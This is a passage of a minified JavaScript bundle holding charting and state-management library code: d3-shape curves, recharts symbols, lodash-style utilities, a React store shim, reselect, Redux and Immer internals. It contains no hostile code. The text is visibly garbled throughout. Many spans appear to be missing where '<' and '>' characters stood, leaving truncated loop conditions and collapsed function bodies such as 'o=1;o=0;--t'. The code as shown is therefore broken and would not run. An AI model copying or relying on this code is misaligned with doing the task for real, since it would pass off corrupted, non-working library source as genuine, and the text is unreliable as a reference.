2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:iu(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Q_(e){return new Qj(e)}function Jj(e){this._context=e}Jj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:iu(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function J_(e){return new Jj(e)}function eN(e){this._context=e}eN.prototype={areaStart:ru,areaEnd:ru,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function eA(e){return new eN(e)}function ly(e){return e<0?-1:1}function cy(e,t,n){var r=e._x1-e._x0,i=t-e._x1,s=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(s*i+o*r)/(r+i);return(ly(s)+ly(o))*Math.min(Math.abs(s),Math.abs(o),.5*Math.abs(l))||0}function uy(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function om(e,t,n){var r=e._x0,i=e._y0,s=e._x1,o=e._y1,l=(s-r)/3;e._context.bezierCurveTo(r+l,i+l*t,s-l,o-l*n,s,o)}function au(e){this._context=e}au.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:om(this,this._t0,uy(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,om(this,uy(this,n=cy(this,e,t)),n);break;default:om(this,this._t0,n=cy(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function tN(e){this._context=new nN(e)}(tN.prototype=Object.create(au.prototype)).point=function(e,t){au.prototype.point.call(this,t,e)};function nN(e){this._context=e}nN.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,s){this._context.bezierCurveTo(t,e,r,n,s,i)}};function tA(e){return new au(e)}function nA(e){return new tN(e)}function rN(e){this._context=e}rN.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=dy(e),i=dy(t),s=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/s[t];for(s[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function iA(e){return new wd(e,.5)}function aA(e){return new wd(e,0)}function sA(e){return new wd(e,1)}function ua(e,t){if((o=e.length)>1)for(var n=1,r,i,s=e[t[0]],o,l=s.length;n=0;)n[t]=t;return n}function oA(e,t){return e[t]}function lA(e){const t=[];return t.key=e,t}function cA(){var e=$e([]),t=Bp,n=ua,r=oA;function i(s){var o=Array.from(e.apply(this,arguments),lA),l,c=o.length,u=-1,d;for(const f of s)for(l=0,++u;l0){for(var n,r,i=0,s=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,s=r.length;n0)||!((s=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,s,o;r1&&arguments[1]!==void 0?arguments[1]:pA,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function tt(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+s:l!==void 0?i+ui(l)+s:i+s},"")}var qt=e=>e===0?0:e>0?1:-1,mr=e=>typeof e=="number"&&e!=+e,da=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,ge=e=>(typeof e=="number"||e instanceof Number)&&!mr(e),Lr=e=>ge(e)||typeof e=="string",hA=0,$o=e=>{var t=++hA;return"".concat(e||"").concat(t)},fn=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!ge(t)&&typeof t!="string")return r;var s;if(da(t)){if(n==null)return r;var o=t.indexOf("%");s=n*parseFloat(t.slice(0,o))/100}else s=+t;return mr(s)&&(s=r),i&&n!=null&&s>n&&(s=n),s},sN=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):Ro(r,t))===n)}var Mt=e=>e===null||typeof e>"u",sl=e=>Mt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function or(e){return e!=null}function bs(){}var xA=["type","size","sizeType"];function Fp(){return Fp=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(sl(e));return lN[t]||Mx},kA=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*jA;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},zA=(e,t)=>{lN["symbol".concat(sl(e))]=t},cN=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=bA(e,xA),s=my(my({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var p=NA(o),h=X_().type(p).size(kA(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=s,f=Ut(s);return ge(u)&&ge(d)&&ge(n)?m.createElement("path",Fp({},f,{className:Qe("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};cN.registerSymbol=zA;var uN=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,Ix=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(m.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{Ax(i)&&(r[i]=s=>n[i](n,s))}),r},SA=(e,t,n)=>r=>(e(t,n,r),null),CA=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var s=e[i];Ax(i)&&typeof s=="function"&&(r||(r={}),r[i]=SA(s,t,n))}),r};function py(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function PA(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return s}var dN={},fN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let s=0;s=0}e.isLength=t})(hN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=hN;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(zd);var xN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(xN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=zd,n=xN;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(pN);var vN={},gN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jd;function n(r){return function(i){return t.get(i,r)}}e.property=n})(gN);var yN={},Rx={},bN={},$x={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})($x);var Bx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Bx);var Fx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(Fx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=$x,n=Bx,r=Fx;function i(d,f,p){return typeof p!="function"?i(d,f,()=>{}):s(d,f,function h(x,g,y,v,b,w){const j=p(x,g,y,v,b,w);return j!==void 0?!!j:s(x,g,h,w)},new Map)}function s(d,f,p,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,p,h);case"function":return Object.keys(f).length>0?s(d,{...f},p,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,p,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,p,h);if(f instanceof Map)return l(d,f,p,h);if(f instanceof Set)return u(d,f,p,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(Rx);var wN={},Wx={},jN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(jN);var Sd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(Sd);var Ux={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",s="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",p="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",N="[object Int8Array]",k="[object Int16Array]",z="[object Int32Array]",S="[object BigInt64Array]",O="[object Float32Array]",A="[object Float64Array]";e.argumentsTag=s,e.arrayBufferTag=p,e.arrayTag=d,e.bigInt64ArrayTag=S,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=O,e.float64ArrayTag=A,e.functionTag=f,e.int16ArrayTag=k,e.int32ArrayTag=z,e.int8ArrayTag=N,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(Ux);var NN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(NN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jN,n=Sd,r=Ux,i=Bx,s=NN;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,p,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,p,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(s,i)}e.matches=r})(yN);var kN={},zN={},SN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Wx,n=Sd,r=Ux;function i(s,o){return t.cloneDeepWith(s,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof s=="object"){if(n.getTag(s)===r.objectTag&&typeof s.constructor!="function"){const p={};return d.set(s,p),t.copyProperties(p,s,u,d),p}switch(Object.prototype.toString.call(s)){case r.numberTag:case r.stringTag:case r.booleanTag:{const p=new s.constructor(s==null?void 0:s.valueOf());return t.copyProperties(p,s),p}case r.argumentsTag:{const p={};return t.copyProperties(p,s),p.length=s.length,p[Symbol.iterator]=s[Symbol.iterator],p}default:return}}})}e.cloneDeepWith=i})(SN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=SN;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(zN);var CN={},Vx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?FA:BA;ON.useSyncExternalStore=ls.useSyncExternalStore!==void 0?ls.useSyncExternalStore:WA;AN.exports=ON;var UA=AN.exports;/** + * @license React + * use-sync-external-store-shim/with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Cd=m,VA=UA;function HA(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var KA=typeof Object.is=="function"?Object.is:HA,GA=VA.useSyncExternalStore,YA=Cd.useRef,qA=Cd.useEffect,XA=Cd.useMemo,ZA=Cd.useDebugValue;_N.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=YA(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=XA(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,KA(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=GA(e,s[0],s[1]);return qA(function(){o.hasValue=!0,o.value=l},[l]),ZA(l),l};EN.exports=_N;var QA=EN.exports,Hx=m.createContext(null),JA=e=>e,ot=()=>{var e=m.useContext(Hx);return e?e.store.dispatch:JA},jc=()=>{},eO=()=>jc,tO=(e,t)=>e===t;function je(e){var t=m.useContext(Hx),n=m.useMemo(()=>t?r=>{if(r!=null)return e(r)}:jc,[t,e]);return QA.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:eO,t?t.store.getState:jc,t?t.store.getState:jc,n,tO)}function nO(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function rO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function iO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var xy=e=>Array.isArray(e)?e:[e];function aO(e){const t=Array.isArray(e[0])?e[0]:e;return iO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function sO(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Wl(),o.resetResultsCount()},o.resultsCount=()=>s,o.resetResultsCount=()=>{s=0},o}function uO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let s=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),nO(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:p=[],argsMemoize:h=TN,argsMemoizeOptions:x=[]}=d,g=xy(p),y=xy(x),v=aO(i),b=f(function(){return s++,u.apply(null,arguments)},...g),w=h(function(){o++;const N=sO(v,arguments);return l=b.apply(null,N),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>s,resetRecomputations:()=>{s=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var I=uO(TN),dO=Object.assign((e,t=I)=>{rO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(s=>e[s]);return t(r,(...s)=>s.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>dO}),MN={},LN={},IN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,s)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return s==="desc"?-1:1}return s==="desc"?l-o:o-l}return 0};e.compareValues=n})(IN);var DN={},Kx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(Kx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(s,o){return Array.isArray(s)?!1:typeof s=="number"||typeof s=="boolean"||s==null||t.isSymbol(s)?!0:typeof s=="string"&&(r.test(s)||!n.test(s))||o!=null&&Object.hasOwn(o,s)}e.isKey=i})(DN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=IN,n=DN,r=kd;function i(s,o,l,c){if(s==null)return[];l=c?void 0:l,Array.isArray(s)||(s=Object.values(s)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return s.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(LN);var RN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],s=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(s,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(s,n.flatten(o),["asc"])}e.sortBy=i})(MN);var fO=MN.sortBy;const Pd=Wr(fO);var $N=e=>e.legend.settings,mO=e=>e.legend.size,pO=e=>e.legend.payload;I([pO,$N],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?Pd(r,n):r});var Ul=1;function hO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=m.useState({height:0,left:0,top:0,width:0}),r=m.useCallback(i=>{if(i!=null){var s=i.getBoundingClientRect(),o={height:s.height,left:s.left,top:s.top,width:s.width};(Math.abs(o.height-t.height)>Ul||Math.abs(o.left-t.left)>Ul||Math.abs(o.top-t.top)>Ul||Math.abs(o.width-t.width)>Ul)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function Pt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var xO=typeof Symbol=="function"&&Symbol.observable||"@@observable",gy=xO,cm=()=>Math.random().toString(36).substring(7).split("").join("."),vO={INIT:`@@redux/INIT${cm()}`,REPLACE:`@@redux/REPLACE${cm()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${cm()}`},su=vO;function Yx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function BN(e,t,n){if(typeof e!="function")throw new Error(Pt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(Pt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(Pt(1));return n(BN)(e,t)}let r=e,i=t,s=new Map,o=s,l=0,c=!1;function u(){o===s&&(o=new Map,s.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(Pt(3));return i}function f(y){if(typeof y!="function")throw new Error(Pt(4));if(c)throw new Error(Pt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(Pt(6));v=!1,u(),o.delete(b),s=null}}}function p(y){if(!Yx(y))throw new Error(Pt(7));if(typeof y.type>"u")throw new Error(Pt(8));if(typeof y.type!="string")throw new Error(Pt(17));if(c)throw new Error(Pt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(s=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(Pt(10));r=y,p({type:su.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(Pt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[gy](){return this}}}return p({type:su.INIT}),{dispatch:p,subscribe:f,getState:d,replaceReducer:h,[gy]:x}}function gO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:su.INIT})>"u")throw new Error(Pt(12));if(typeof n(void 0,{type:su.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(Pt(13))})}function FN(e){const t=Object.keys(e),n={};for(let s=0;s"u")throw l&&l.type,new Error(Pt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function ou(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function yO(...e){return t=>(n,r)=>{const i=t(n,r);let s=()=>{throw new Error(Pt(15))};const o={getState:i.getState,dispatch:(c,...u)=>s(c,...u)},l=e.map(c=>c(o));return s=ou(...l)(i.dispatch),{...i,dispatch:s}}}function WN(e){return Yx(e)&&"type"in e&&typeof e.type=="string"}var UN=Symbol.for("immer-nothing"),yy=Symbol.for("immer-draftable"),Vt=Symbol.for("immer-state");function Un(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var un=Object,cs=un.getPrototypeOf,lu="constructor",Ed="prototype",Wp="configurable",cu="enumerable",Nc="writable",Bo="value",Ir=e=>!!e&&!!e[Vt];function Zn(e){var t;return e?VN(e)||Ad(e)||!!e[yy]||!!((t=e[lu])!=null&&t[yy])||Od(e)||Td(e):!1}var bO=un[Ed][lu].toString(),by=new WeakMap;function VN(e){if(!e||!qx(e))return!1;const t=cs(e);if(t===null||t===un[Ed])return!0;const n=un.hasOwnProperty.call(t,lu)&&t[lu];if(n===Object)return!0;if(!Ea(n))return!1;let r=by.get(n);return r===void 0&&(r=Function.toString.call(n),by.set(n,r)),r===bO}function _d(e,t,n=!0){ol(e)===0?(n?Reflect.ownKeys(e):un.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function ol(e){const t=e[Vt];return t?t.type_:Ad(e)?1:Od(e)?2:Td(e)?3:0}var wy=(e,t,n=ol(e))=>n===2?e.has(t):un[Ed].hasOwnProperty.call(e,t),Up=(e,t,n=ol(e))=>n===2?e.get(t):e[t],uu=(e,t,n,r=ol(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function wO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var Ad=Array.isArray,Od=e=>e instanceof Map,Td=e=>e instanceof Set,qx=e=>typeof e=="object",Ea=e=>typeof e=="function",um=e=>typeof e=="boolean";function jO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var Nr=e=>e.copy_||e.base_,Xx=e=>e.modified_?e.copy_:e.base_;function Vp(e,t){if(Od(e))return new Map(e);if(Td(e))return new Set(e);if(Ad(e))return Array[Ed].slice.call(e);const n=VN(e);if(t===!0||t==="class_only"&&!n){const r=un.getOwnPropertyDescriptors(e);delete r[Vt];let i=Reflect.ownKeys(r);for(let s=0;s1&&un.defineProperties(e,{set:Vl,add:Vl,clear:Vl,delete:Vl}),un.freeze(e),t&&_d(e,(n,r)=>{Zx(r,!0)},!1)),e}function NO(){Un(2)}var Vl={[Bo]:NO};function Md(e){return e===null||!qx(e)?!0:un.isFrozen(e)}var du="MapSet",Hp="Patches",jy="ArrayMethods",HN={};function fa(e){const t=HN[e];return t||Un(0,e),t}var Ny=e=>!!HN[e],Fo,KN=()=>Fo,kO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:Ny(du)?fa(du):void 0,arrayMethodsPlugin_:Ny(jy)?fa(jy):void 0});function ky(e,t){t&&(e.patchPlugin_=fa(Hp),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Kp(e){Gp(e),e.drafts_.forEach(zO),e.drafts_=null}function Gp(e){e===Fo&&(Fo=e.parent_)}var zy=e=>Fo=kO(Fo,e);function zO(e){const t=e[Vt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Sy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Vt].modified_&&(Kp(t),Un(4)),Zn(e)&&(e=Cy(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Vt].base_,e,t)}else e=Cy(t,n);return SO(t,e,!0),Kp(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==UN?e:void 0}function Cy(e,t){if(Md(t))return t;const n=t[Vt];if(!n)return fu(t,e.handledSet_,e);if(!Ld(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);qN(n,e)}return n.copy_}function SO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Zx(t,n)}function GN(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var Ld=(e,t)=>e.scope_===t,CO=[];function YN(e,t,n,r){const i=Nr(e),s=e.type_;if(r!==void 0&&Up(i,r,s)===t){uu(i,r,n,s);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;_d(i,(c,u)=>{if(Ir(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??CO;for(const l of o)uu(i,l,n,s)}function PO(e,t,n){e.callbacks_.push(function(i){var l;const s=t;if(!s||!Ld(s,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(s);const o=Xx(s);YN(e,s.draft_??s,o,n),qN(s,i)})}function qN(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const s=i.getPath(e);s&&i.generatePatches_(e,s,t)}GN(e)}}function EO(e,t,n){const{scope_:r}=e;if(Ir(n)){const i=n[Vt];Ld(i,r)&&i.callbacks_.push(function(){kc(e);const o=Xx(i);YN(e,n,o,t)})}else Zn(n)&&e.callbacks_.push(function(){const s=Nr(e);e.type_===3?s.has(n)&&fu(n,r.handledSet_,r):Up(s,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&fu(Up(e.copy_,t,e.type_),r.handledSet_,r)})}function fu(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Ir(e)||t.has(e)||!Zn(e)||Md(e)||(t.add(e),_d(e,(r,i)=>{if(Ir(i)){const s=i[Vt];if(Ld(s,n)){const o=Xx(s);uu(e,r,o,e.type_),GN(s)}}else Zn(i)&&fu(i,t,n)})),e}function _O(e,t){const n=Ad(e),r={type_:n?1:0,scope_:t?t.scope_:KN(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,s=mu;n&&(i=[r],s=Wo);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,[l,r]}var mu={get(e,t){if(t===Vt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=Nr(e);if(!wy(i,t,e.type_))return AO(e,i,t);const 